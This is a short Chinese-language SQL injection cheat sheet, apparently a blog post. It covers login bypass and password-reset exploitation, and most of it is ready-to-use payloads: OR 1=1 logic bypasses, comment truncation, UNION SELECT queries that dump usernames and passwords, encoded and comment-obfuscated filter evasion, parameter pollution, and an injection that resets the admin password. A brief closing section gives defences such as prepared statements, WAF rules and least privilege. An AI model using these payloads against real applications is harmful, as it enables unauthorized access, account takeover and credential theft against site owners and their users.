目录
[1.1 基础注入原理](#1.1 基础注入原理)
[1.2 实用注入Payload分类](#1.2 实用注入Payload分类)
[2.1 基础绕过手法](#2.1 基础绕过手法)
[2.2 高级绕过技巧](#2.2 高级绕过技巧)
[3.1 常见漏洞模式](#3.1 常见漏洞模式)
[3.2 实用Payload](#3.2 实用Payload)
[4.1 开发防护](#4.1 开发防护)
[4.2 运维加固](#4.2 运维加固)
一、SQL注入漏洞
1.1 基础注入原理
SQL注入是通过构造特殊输入改变原始SQL语句逻辑的攻击方式。典型攻击模式:
sql
原始语句:SELECT * FROM users WHERE username='[输入]' AND password='[输入]'
注入后: SELECT * FROM users WHERE username='admin'--' AND password='xxx'
1.2 实用注入Payload分类
逻辑绕过型
sql
' OR 1=1 --
" OR "a"="a
' OR '1'='1
注释截断型
sql
admin'#
admin'/*
admin'--
联合查询型
sql
' UNION SELECT 1,2,3--
' UNION SELECT username,password FROM users--
常见的万能密码-CSDN博客
二、登录绕过实战技巧
2.1 基础绕过手法
sql
admin' OR '1'='1
admin'--
admin'/*
2.2 高级绕过技巧
编码绕过
sql
admin%27%20OR%201%3D1--
多重注释
sql
admin'/*!OR*/1=1--
参数污染
sql
username=admin'--&username=realuser
三、密码重置漏洞利用
3.1 常见漏洞模式
sql
UPDATE users SET password='[新密码]' WHERE username='[输入]'
注入: UPDATE users SET password='hacked' WHERE username='admin'--'
3.2 实用Payload
sql
admin'--
' OR email='admin@example.com
' OR 1=1 LIMIT 1--
四、防御方案精要
4.1 开发防护
sql
// 使用预编译语句
String sql = "SELECT * FROM users WHERE username=?";
PreparedStatement stmt = conn.prepareStatement(sql);
stmt.setString(1, username);
4.2 运维加固
-
启用WAF规则过滤特殊字符
-
限制数据库账号权限
-
开启SQL执行日志审计